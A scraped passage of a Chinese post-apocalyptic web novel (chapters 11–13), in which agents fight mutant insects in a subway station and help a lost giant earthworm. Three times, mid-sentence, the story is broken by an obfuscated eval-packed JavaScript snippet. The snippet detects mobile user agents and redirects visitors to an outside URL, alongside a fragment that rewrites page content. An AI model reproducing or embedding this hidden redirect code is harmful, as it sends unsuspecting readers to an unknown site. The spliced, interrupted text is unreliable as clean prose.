原来这就是异能,不用刻意的领悟和锻炼,心念一动就能运用自如,简直像长出了第三只手。 这样的能力简直就是为在黑暗中工作而生的,他的速度比在第一层时更快。 他快任他快,班鸠自会想办法捣乱。 列车开走后没多久,隐翅虫就重新袭来,它这次不是一只虫来的,几只虫围成一个圈,在站台边围着触须留下的痕迹转来转去。 班鸠警惕着周围的风吹草动。 他做好了和变异种搏斗的准备,但真当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261226|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻来临之时,数只隐翅虫振翅低飞朝两人冲过来,他下意识的举动还是躲避。 前一秒还守在身边的人,下一秒瞬移到了天花板上倒挂着,所剩不多的良心让他给允冬尽留了个空间屏障,没看着人瞬间被锋利的口器撕碎。 “把虫子引到远一点的地方去,”允冬尽的声音中透出一丝疲倦,“影响到我了。” 班鸠没有在这个时候和他争口舌之快。 “知道了。” 他主动打开联络器的手电筒功能,把光源固定在袖口,解除异能的瞬间双脚用力一蹬,身体朝允冬尽所在位置的反方向下坠。 隐翅虫转头飞向他,迎接它们的是子弹出膛迸出的火光。 他特意卸掉了消焰器。 班鸠的枪和执行局给的枪火力明显不在一个等级上,只一发子弹,隐翅虫的腹部被射穿。 临死前,它的主动爆开腹腔,把体内剩余的浓酸液喷溅出去。 班鸠对自己身体在空中的掌控力近乎完美,他脚踩一小块凝固的空间,借着枪支的后坐力,如鸟般轻盈地后撤,避开液体。 故意没有压制的枪口焰和同伴新鲜尸体散发出的气味无一不刺激着剩下隐翅虫构造简单却极脆弱的神经,它们发了疯似的冲上来,却连班鸠的衣角都碰不到。 优越的战斗天赋让他在短短几个来回的交战中就摸清了一打多的要领。 他的神情越来越轻松,甚至有空在瞄准时和子车回说上两句。 “不过如此。” 又是两枪。 “干得好,班鸠,”最后一个点的数据记录完成,允冬尽发凉的指尖止不住地颤抖,他盲忙点开联络界面,异能反馈告诉他选择的联系人是忻昀没有错,立刻把数据传输过去,“昀队,负二层的打扫也完成了,我和班鸠准备去第三层。” 他等了几秒,文件并没有被接收。 “忻昀?” 对面没有反应。 正当允冬尽准备尝试用异能接管耳麦的信号联络,那边的声音又断断续续地传过来。 文件显示正在接收中。 “做得不错。” 忻昀很想多夸两句。 他也是第一次当队长,没什么经验,别的他不知道,开了智变异种都很喜欢被夸夸,被夸之后会更卖力的干活。 但他眼下有心无力。 此时,列车的速度快到了堪称恐怖的程度,忻昀和子车回前面千辛万苦走过的路程全部,他们匆忙地往后跑、远离车头,无意间踩爆了好几颗卵。 脆弱一点的蚂蚁幼虫直接就被踩死了,倔强一点的蛄蛹出来,被子车回补刀,一枪射爆。 小藤终于听出了一点有用的信息。 这只蚯蚓实在是太绝望了。 它说它想撞墙。 决定拉着一车蚂蚁卵一起去死。 奔跑令大脑缺氧,忻昀脑子有点晕,不知道通讯会不会在下一刻断开,他只能拼着最后一点即将耗干的理智吩咐。 “尽快去负三层,完成打扫后返回地面候命。” “这次通讯断联后,要是一小时内我和子车回没有消息,别来找我们,直接回执行局。” “以上,是我的命令。” 命令不允许违抗。 班鸠不小心被酸液溅到,强酸腐蚀穿了手套,他痛得睁大眼睛。 “忻……” 砰———— 巨大的撞击声夹杂着电流音传来,震得人心脏发颤,班鸠感觉自己的灵魂要被这声音撕碎了,他在家里的武器测试场里听过,这就是大型载具碎裂最真实的声音。 真实到不用看就能想象到碎片四溅、满地残骸。 滴滴两下。 耳麦又罢工了。 这就是它为班鸠和允冬尽传来,忻昀子车回最后的消息。 12. 东亭地铁站(5) “咳咳咳咳咳!” 忻昀推开压在自己身上的破铜烂铁,拖着伤痕累累的身体爬出列车残骸。 他的手臂被割开了一道大口子,衣服吸走血液贴着伤口,很难受,剐蹭出的小伤也不少,只是常人难以忍受的疼痛在他身上好像不起作用,擦掉脸上沾到的灰,乍一看,状态居然还不错。 藤蔓变作一长条,挤开层层叠叠被砸瘪的虫卵,蛇般探出一个脑袋晃了晃。 忻昀坐在地上,拉住一端,等小藤的另一端找到目标缠紧,他再竭力往外一拽。 哗啦。 子车回被拖了出来,高高叠起的金属碎块塌了一片。 不幸中的万幸,藤蔓编织的网在“车祸”发生时保护了两人,他们都没受太重的伤。 “醒一醒,”忻昀晃她的肩膀,“还好吗。” 子车回没有昏迷,只是头被撞了一下,有点眩晕:“我还好……你没事儿吧?” “没事。”他扶着墙壁站起来,“你别动,我去前面看看。” 忻昀一瘸一拐地走向车头。 藤蔓缩回他耳朵上,不高兴地小声蛐蛐。 它只想救忻昀一个人,是忻昀在最后关头非要它护着子车回,不然那个小姑娘不死也得残疾。 变成网也是要能量的呀! 它可是母树身上分出来给忻昀御用的保镖兼翻译官,区区一个人类,配嘛! 忻昀不想在这时候费神和它掰扯救不救人间的利害关系,只觉得它吵死了,于是掐住它命运的后颈皮。 “听话,干活。” 小藤老实了。 车子开到了蚯蚓新挖的隧洞里,脚下已经没有人造的铁轨了,全是被黏液湿润过的土,他来到撞得稀烂的车头边,掀掉几块碍事的铁板,让蚯蚓脑袋露出来一部分,在它旁边蹲下。 “你呢?好吗?”他戳戳蚯蚓头。 小藤冷脸当翻译。 蚯蚓活着,有微弱的意识在挣扎,小藤现在火气很大,言语前所未有的恶毒,硬是把它“叫”醒了。 一醒来,这家伙又呜呜哭。 脑袋都砸开花了都不耽误哭,这是得有多难过啊。 忻昀无奈地推推它:“别哭啦,有什么事儿,你总得讲出来吧,光哭算什么事儿啊。” 忻昀的异能是假的,招变异种喜欢是真的。 蚯蚓感受到动作中安抚的意味,脑袋一懵,蹭了蹭他的掌心。 大概是脑子撞清醒了一点,大蚯蚓磕磕绊绊地吐出了一点实情。 它说它是替住在这附近的蚁群送货的。 大风大雨的天气如今是常态,有的种族适应良好,有的种族对天气的敏感刻在骨子里,五年过去还是爱一惊一乍的。 比如蚂蚁。 特别是一个拥有一位对巢穴斤斤计较的女王的蚁群。 前阵子东流区境内暴雨频繁,蚂蚁巢总是进水,蚁后在进化后早就不是族群单纯的繁殖工具了,它的智慧程度远高于它诞下的子民,享有实权,这是一位对住所温度、湿度都要求极高的女王,在它的命令下,蚁群连续进行了几次的巢穴大搬迁。 搞得工蚁们苦不堪言。 上有政策,下有对策。 虽然工蚁的脑子小到支撑不起它们产生“埋怨”、“背叛”等高级情绪,但使点“小小”的坏,这点脑容量还是够用的。 蚁巢中数量最庞大、最难处理的行李莫过于蚁卵。 说珍贵吧,这可是种群的下一代,可仔细一想,蚁后每年产下数不清的卵,进化后变异蚂蚁的卵又实在个头太大。 总而言之,工蚁们最后成功说服了自己。 它们把一部分蚁卵寄存在它们认为安全且舒适的地方,打算等天气稳定了再搬回女王最终决定安居的巢穴。 其中最大的安全点他已经看到了——东亭地铁站。 “东流区这两天的天气预报说是晴天没错,偏偏今天下雨了。”忻昀想到这个破天气,又是一肚子气。 “队长,你从蚯蚓嘴里问出信息了?” 子车回缓过劲,走到他身边,弯腰撑着膝盖,好奇地打量蚯蚓脑袋。 这里没有隐翅虫,她放心地打开手电筒,蚯蚓的血是玫瑰红色的,大片血花淌在虫身上,竟然让她觉得很可怜。 “嗯,”忻昀听故事听得正如神,拍拍身边的土,喊子车回坐他旁边,他正好把刚刚问到的东西再复述一遍给她听,“只是变异种内部的小摩擦,不是大事。” 正好,这种事在变异种间屡见不鲜,可以给新人长长见识。 “听上去怪有趣的。”子车回把摸到的血抹回蚯蚓身上,拍掉手上的灰。 忻昀从北流区来东流区,是特意挑了好天气的。 末世的狂风暴雨会平等惩罚每一个自信出门的人。 总局的天气预报似乎也没出错,因为它得到的结果和蚂蚁族是一致的,最近就该是晴天。 对天气进行了预测,工蚁们也准备回收寄存在地铁站里的蚁卵了,运输蚁卵是个大工程,一粒粒地运,它们偷了懒的事情迟早会被兵蚁和蚁后发现。 人在干坏事的时候是不嫌麻烦的,这点放在变异种身上也一样。 为了圆第一个漏洞,工蚁不得不再想办法弥补。 说到这里,蚯蚓为什么会像怨种苦力一样出现在地铁站的原因终于明晰了。 “那也没必要冒充地铁吧。”子车回听得想笑,但又感觉现在笑对蚯蚓不太友好。 忻昀让小藤把她的疑问翻译给蚯蚓, 他也很好奇。 蚯蚓大叫——它在精神上大喊大叫。 给小藤吓一跳。 “它说‘我没有冒充那个人造铁蚯蚓!我只是在跑步的时候从中间穿过去了,结果它套在我身上脱不掉了而已!’,嗯,”忻昀抱着手臂模仿蚯蚓的语气,“你看,不是故意的呢……现在好啦,撞个车还把铁壳蹭掉了,好事呢。” 子车回嘴角一抽:“好事吗?” 蚯蚓一听,傻笑。 是哦。 虽然流了好多红红的黏液,但感觉身上轻快多了,嘿嘿。 忻昀:“那个黏液叫血,你的血。” 蚯蚓:哦哦QWQ。 “所以说,你这趟的目的地是蚁巢,那为什么又跑到这儿来了,”忻昀捏着开启强光手电模式的联络器,一通上下乱照,“这条通道你只挖了半截吧?还在自己挖的地盘撞墙了。” 子车回把脸埋在掌心里憋笑。 忻昀突然灵光一现,顿住脚步:“你不认路?” 子车回:“诶?” 被问到关键,蚯蚓含泪猛点两下头。 蚁巢在哪,它一个外虫怎么会知道。 蚁巢庞大又复杂,它脑子小小的,发育得不是很好,记不住东西,所以工蚁并没有告诉它路线该怎么走。 而是选择派虫跟着,给它指路。 有虫一次次给它指路,它这两天送货都没出过错,今天这趟车不知道为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261227|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它感觉不到车上指路虫的存在,也听不到虫的声音…… 今天为什么指路虫不在呢? 好难猜啊。 以工蚁连使两次阴招偷懒的德行,偷第三次懒不是不可能,在东亭广场现身的隐翅虫外表和蚂蚁高度相似,而且它能从替蚂蚁干活中得到个大好处。 它可以把自己的卵也运去合适的地方,到了地点抱着卵飞走就好。 难怪、难怪。 忻昀被蚯蚓哭得汗流浃背。 他们不来,顶工的隐翅虫也不会被打得上不了车,运输工作就不会出岔子,问题已经酿成,换作平时,他很乐意抽点空帮蚯蚓引个路,但现在…… 他偷瞄了一眼子车回。 有人类在。 很多时候,任务不需要通过击杀变异种的方式来完成,但他清晰记得,刚加入北流区执行局没多久时,一次普通的打扫任务,小队在被雷电劈倒的焦木堆下发现了一窝鸟。 成鸟不在,巢里只有四只刚破壳不久的小鸟。 那时候他的演技不好,努力冷着脸,语气里却有些许藏不住的迫切,他对跟随学习的那支小队说,打扫只要记录数据就好了,没必要做无关的事。 那个队长把指着小鸟崽的枪口移到了他的眉心上。 “鸟类变异种袭击天空城的新闻你看没看过?” “放过它们,等它们长大,可能会害死多少人,你算得到吗?” “不是看在高局长的面子上,我压根不想带你,是非都分不清的小孩儿凭什么待在执行局?” “关系户。” 他眼睁睁看着那人杀死了四只幼鸟。 后来死在他面前的变异种很多,但他再也没有当着执行员的面表现出一点点帮助或者放过变异种的意思。 人和变异种之间有无法跨越的鸿沟,想要保护变异种,只有把人类拉下神坛一条lu—— “队长,我们送这条蚯蚓回轨道上吧,别待在死路上耗时间了,”子车回拍拍裤子上的灰站起来,没意识到自己说了什么惊人之语,“蚯蚓分泌的黏液里异素很浓,经过东亭站的不止一只蚯蚓,我看得清它们的痕迹……” “你知道你在说什么吗。” 忻昀面无表情。 “粗略统计,留在地面的非公民数量占全人类的百分之十二,放过一只变异种,以后它可能会害死多少人,你算得到吗?” 气氛突然凝固。 蚯蚓吓得哭都不敢哭。 “我,”子车回呆住了,“我没想到,我看你和它说话态度很温和,以为你不想杀它的。” “而且,小绿刚刚才救了我和队长。” “你之前和我说小绿是会保护人的好变异种,我想,这只蚯蚓也是,那种,额,和小绿一样不会伤害我们的……” 她一时语塞。 自己的想法是有点天真了,但天真也好,可笑也罢,她的确不想杀这只变异种。 忻昀从她身边走过。 “下次不许有这种想法,危险要尽量扼杀在摇篮里,这次就算了,没必要。”忻昀自顾自往回走,“我们是来打扫的,不是清剿的,拿多少工资干多少活,执行局休想多赚一分劳动力。” 下一次? 子车回惊讶道:“你的意思是……” 忻昀停下,回过头。 脸上是毫不掩饰的笑容。 他真是愈发觉得自己没抓错人了。 “愣着干嘛,走了,一起送它回正轨。” 13. 东亭地铁站(6) 漆黑泥泞的地下洞穴里,一支配置奇怪的队伍在沙沙声中向前方行进。 子车回走在最前方,专心辨识回去的路,蚯蚓老老实实跟在她身后,适应着人类的移动速度,密密麻麻的脚推着身体缓慢蠕动。 忻昀坠在队伍后方,双手抱在脑后,步伐懒散。 他脑海内正发生的对话是与本人闲适姿态完全不同的激烈。 忻昀:你看看人家!!我们小回惦记着你的好,你呢? 小藤叽叽咕咕。 还“我们”上了,节约能量是在为你着想!人死了再换新队友就行,执行局的小队不都这样吗! 忻昀:你不懂,一轮轮换的队友哪有亲手养起来的好。 母亲说树枝就是这样的,长出来越久的树枝用起来越灵活。 小藤听不懂,不理他了。 忻昀打了胜仗一般洋洋得意。 子车回听不见后面俩的“爱恨情仇”,她看蚯蚓有一下没一下地在身边蹭,偷偷纵容自己对一只变异种心生怜爱了一秒,帮它想起办法:“忻昀,你说,蚯蚓们为什么非得帮蚂蚁干活呢?不可以罢工溜走吗?” “有道理啊,我问问,”忻昀和小藤一阵纠缠,“稍等小绿不听话,揍一顿就好……好了好了它在问了……” “嗯?” 忻昀突然不走了。 蚯蚓也诧异地停住。 “怎么啦?” 子车回望向忻昀。 她没来得及看见,后者方才身上的不正经在一瞬间褪得一干二净。 “没事,踩到石子了。” 他搓了搓小花,催促地轻踢了蚯蚓一脚:“别傻愣着了,快走吧。” ……居然是这种原因。 忻昀假装认真聆听了片刻,对子车回说:“是蚂蚁逼它们的。” “恃强凌弱和以多欺少在变异种间是常见冲突,不要看蚯蚓变异后膨胀的体型大得恐怖,这其实只是个两个月大的宝宝虫,真打起来,它的下场只会是被蚂蚁撕碎。” “小藤说蚯蚓身上有蚂蚁留下的追踪异素,一逃就会被追,”忻昀道,“它不会有反抗蚂蚁的勇气的。” 蚯蚓一家,来帮蚂蚁的一共有四条虫,全被追踪了。 他的话半真半假,但子车回没有怀疑。 “我知道了。”子车回只需要被提醒一次,“送它回去,然后我们要尽快脱身,回地铁站和队友汇合,在任务报告里提一嘴这件事就行了,变异种的后续动向交给信息部的同事关注。” “Bingo。” 忻昀打了个响指。 如果用这个情况出一道检测题,子车回的答案是100分。 非任务指令,变异种间的摩擦让变异种自行解决就好了,用不着干涉。 即使没有进化,捕食、猎杀也是食物链中最正常的一环。 不管这场杀害的起因是什么。 不能因为老鼠长得太可爱就指责猫吃老鼠是错的。 子车回找路的速度很快,一路上前几只蚯蚓留下的痕迹不少,有几段路是才挖没几天的新通道,大多数是铺设了铁轨的原地铁线路。 忻昀看见联络器又恢复了信号几次,于是查了定位。 说起来,他之前都没注意,三号线会途径一个商业圈。 地铁为了多经过几个站点路线会绕圈,而把蚯蚓走过的路连成条线,粗略一看,是通往商业圈的捷径。 人类的旧生活区地下开发程度很深,不是什么适合安巢定居的好地点。 可榕树酒店就在那附近。 忻昀眸光一暗。 执行局信息更新速度很快,地图上红色的酒店标志旁边已经新添了“损毁”两个小字,不日就会有队伍重返现场,进入深坑调查。 要不是交换任务,他还不知道,原来对酒店感兴趣的不止人。 还有异种。 距离商圈越来越近,忻昀和子车回商量再送一段就返回地铁站,他们的步行速度算快的了,就是要一小时内到达,时间还是紧巴巴的。 不知道允冬尽和班鸠怎么样了。 要是迟到,那俩人不会着急吧。 胡思乱想着,忻昀没看前面的路,以至于子车回停在原地许久他却没发现,撞到了她身上。 “不走吗?” 子车回揉了把眼睛:“我是不是异能使用时间太久了……看错了。” 两人一虫面前是道厚厚的土墙,泥土湿润却不松散,看起来是新堆的。 忻昀按住想要挖通道闯过去的蚯蚓,举起联络器当手电照了照:“有拼接的形状,是一小块一小块叠起来的,上一只蚯蚓刚通过不久,认识路并且有建筑能力,只能是……。” “异素痕迹被土墙挡住了,我的异能看不穿障碍物!” 子车回顾不上眼睛泛疼,焦急地四下查看:“能在这点时间里筑成遮挡隧道的墙,肯定是工蚁的手笔,它们说不定还没走远……忻昀!” 抬头发现头顶有一只倒悬的工蚁,子车回心凉了半截。 鸡蛋大的蚂蚁卵,孵化出的变异工蚁和成年人差不多高,细微的绒毛、坑洞和发达的上颚共同组成了一张冲击力极强的脸。 细长的触角倒垂,差一点就要碰到头顶。 忻昀比她反应快一步,拍了下蚯蚓:“走。” 得到命令的蚯蚓终于可以解放天性,一脑袋拱碎土墙。 尘土飞扬。 工蚁的视力差到近乎于无,等它跳下来,忻昀和子车回已经被蚯蚓驮着,跑得没影了。 蚂蚁转了转触角,更多工蚁从泥土的缝隙中钻出来,形成一小支队伍,追了上去。 蚯蚓背上,忻昀伏低身体,免得撞到头。 “蚯蚓脱离轨道太久,引起工蚁的注意了,它害死了一整列车的卵,堵住隧道很可能是为了拦截它。” 相较极差的视力,工蚁的步速和气味处理都强得可怕,但忻昀害怕的不是他们被工蚁追上,而是…… 要是招来兵蚁了该怎么办。 死了一车的蚂蚁卵,万一工蚁和兵蚁沟通,不再隐瞒偷懒的事,蚁群内部处罚的事先不论,蚁巢为避免更多后代的损失,一定会优先出动兵力清查地铁站。 撕碎一只派不上用场的蚯蚓对兵蚁来说是洒洒水,解决几个不小心误闯地底的人类,那更是顺手的事。 联络器信号又断了,忻昀没法提醒另一边的两人提前跑,他和子车回现在也是泥菩萨过江自身难保。 这下两边一起玩完了。 说到底,他认为这锅还是要非得来清扫地铁站的执行局背。 打扰了一只隐翅虫,后面的麻烦像多米诺骨牌一样接连触发,黎既明手下的信息员预测得没错,换个队伍来,指不定真就要被蚂蚁啃成碎片了。 但现在来的人是忻昀。 只要他想,所有事情都可以立刻得到解决。 不管是蚯蚓、蚂蚁、还是隐翅虫。 都能顷刻散去,还要反过来给他赔个不是。 他看了眼因为眼睛过于疼痛,正在口袋中翻找眼药水的子车回。 耳朵上的小花藏住了母树的气息,这让蚯蚓和工蚁都把他当作一个普通人类对待,或许来个稍微聪明点、强大点的变异种他就要露馅了,不过现在的情况于忻昀而言,才是好事。 算了。 变异种的办法用不了,正常执行员的手段他也略懂一二。 忻昀没忘记来时的目的,给身后穷追不舍的蚂蚁拍了几张照,随后检查起配枪里剩余的子弹。 兵蚁这不是还没来吗。 把工蚁全杀完,兵蚁就追不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261228|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来了。 “帮个忙。”忻昀清点完弹匣。 十七发,够用了。 子车回抹掉眼角残留的水痕:“好。” 经过不久前的撞击,蚯蚓的疣足断了大半,剩下的腿也半残不残,它是为了方便搬运蚂蚁卵才长出的腿,如今回到原始的爬行方式,虽然速度下降,但异常平稳。 联络器能照亮的空间有限,子车回暂时用不了异能,但想要瞄准黑暗中的目标,方法不止一种。 他们二人的携带的手枪都是点射型,缺少火力压制,她要做的,就是让忻昀的每一颗子弹打在实处。 砰。 她的子弹打在沿着隧道侧边追赶的工蚁脚边,变异种被逼着走进联络器的照明范围里。 忻昀将暴露身形的变异种一枪射杀。 没有多余的交流,消灭一只后,忻昀和子车回立即着手瞄准下一只,工蚁是蚁群中数量最多的工种,它们不会像其他变异种那样,为同伴的死感到悲伤,也不会因为死了一只同伴就急着来报复。 只是重新调整队形,继续穷追不舍。 反而是这样的低阶变异种,在追击战中最难缠,开十五枪,他的额头已经冒出了一层细密的汗。 小藤替他擦掉汗水。 听蚂蚁爬行的声音估算,对面应该也只剩下一到两只蚂蚁了,最后两发子弹必须保持百分百命中,子车回坚持到了最后,她把弹匣打空,给忻昀创造出了环境。 可偏偏这一次,他手抖了。 是撞车在手臂上留下的伤口,撕裂了。 “忻昀,我们身后不对劲!” 没有子车回的指路,蚯蚓早不知道瞎跑去哪儿了,子车回撑着身体,勉力辨识黑暗中隐藏的是什么东西。 “……和蚯蚓差不多大,是列车!又一辆列车来了!” 忻昀按着流血的伤口,脸上终于流露出一丝慌张。 “为什么会从那个方向来?!” 眼看两“辆”庞然大物相撞在即,蚂蚁也趁机加速冲上来,少了不间断的子弹压制,两只工蚁肆无忌惮地爬上蚯蚓尾部,准备给这两个帮助蚯蚓逃跑的人类也打上方便追踪的气味。 电光火石间,忻昀想到了好几种脱身的办法。 包括不管不顾地暴露身份。 危急之下容不得多想,最终,他还是决定隐藏下去。 “我们跳下去!”他朝子车回喊,“朝反方向跑!” 子车回很想回应他。 可来不及了。 两边都没有任何的减速,就这么直直撞上,蚂蚁离他们还有不到一百米的距离…… 忻昀做好了准备,硬接下再一次的撞击。 小藤和他是共生关系,消耗小藤的能量,其实也是在消耗他的生命。 最后时刻,忻昀的手在抖,心底却是一片平静,小花在风中颤抖,他伸手去抓子车回,想像上次那样护住她。 但他看见子车回被另一个人救下了。 “谁有工夫慢吞吞等你俩回来。” 不耐烦的声音在头顶响起,班鸠从另一辆列车上跳过来,直接把忻昀夹在自己胳膊下,另一只手上,是把银色闪闪的霰/弹/枪。 允冬尽已经护着子车回成功撤退,班鸠却没有半点跑路的意思。 他捞住忻昀后也保持着奔跑的速度,迎着那两只异种冲上去。 咔哒。 单手朝上甩,中折式的枪身连接。 饶是忻昀,也被他身上一瞬间爆发出的气势所震惊。 霰/弹/枪无愧近战之王的名号。 不管对面是人还是变异种,一发子弹,十几枚钢珠喷出,条条弹道织成天罗地网,射程之内,绝无生还可能。 两只工蚁接连倒下。 他一个人就是一整片的弹雨。